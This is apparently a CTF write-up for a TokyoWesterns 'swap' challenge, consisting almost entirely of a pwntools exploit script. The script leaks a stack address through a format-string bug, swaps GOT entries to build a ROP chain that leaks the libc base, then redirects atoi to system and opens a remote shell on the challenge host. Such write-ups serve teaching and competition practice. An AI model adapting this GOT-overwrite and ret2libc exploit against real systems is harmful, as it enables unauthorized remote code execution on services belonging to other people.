Rating: 5.0

```python
#!/usr/bin/env python2
from pwn import *
context.binary = './swap'
#context.log_level='debug'

#r = remote('localhost', 4000)
r = remote('swap.chal.ctf.westerns.tokyo', 37567)
libc = ELF('./libc.so.6')

atoi_got = 0x601050
printf_got = 0x601038
stack_check_fail_got = 0x601030
exit_got = 0x601018
puts_got = 0x601028
stdin = 0x601090
fscanf_got = 0x601020
leave_ret = 0x4008e7
pop_rdi = 0x400a53
main = 0x4008e9
puts_plt = 0x4006a0

def save_to_stack(adr1, adr2):
r.sendafter('choice: ', '1')
r.sendlineafter('address: ', str(adr1))
r.sendlineafter('address: ', str(adr2))

def swap(adr1, adr2):
save_to_stack(adr1, adr2)
r.sendafter('choice: ', '2')

# leak by format string vuln
r.sendafter('choice: ', '5')
swap(atoi_got, printf_got)
r.sendafter('choice: ', '%p')
buf = int(r.recvuntil('.')[:-2], 16)
print 'Leaked buf:', hex(buf)
r.sendafter('choice: ', 'AA') # restore atoi, printf

# buf+250 -> _start
# use exit to grow stack and store data on it
swap(exit_got, buf+250)

l1_buf_1 = buf + 0xa + 0x8*2 + 0x10
l1_buf_2 = buf + 0xa + 0x8*2 + 0x18
save_to_stack(puts_got, leave_ret)

r.sendafter('choice: ', '3')

l2_buf_1 = buf - 246 + 0x10
l2_buf_2 = buf - 246 + 0x18
save_to_stack(pop_rdi, main)

r.sendafter('choice: ', '3')

l3_buf_1 = buf - 502
l3_buf_2 = buf - 502 + 8
save_to_stack(puts_plt, main)

r.sendafter('choice: ', '3')

# edit exit() to leave_ret gadget
# then build rop chain to leak libc base and return to main
rop_buf = buf - 734
swap(rop_buf, l2_buf_1)
swap(rop_buf+8, l1_buf_1)
swap(rop_buf+16, l3_buf_1)
swap(rop_buf+24, l2_buf_2)
swap(exit_got, l1_buf_2)

r.sendafter('choice: ', '3')

r.recvuntil('Bye.')
libc_base = u64(r.recvuntil('\x7f')[-6:]+'\x00\x00') - libc.symbols['puts']
print 'Leaked libc base:', hex(libc_base)
system = libc_base + libc.symbols['system']

swap(exit_got, l3_buf_2)

system_buf = buf - 742
save_to_stack(system, 0)

r.sendafter('choice: ', '3')

swap(atoi_got, system_buf)
r.sendafter('choice: ', 'sh')

r.interactive('>>')
```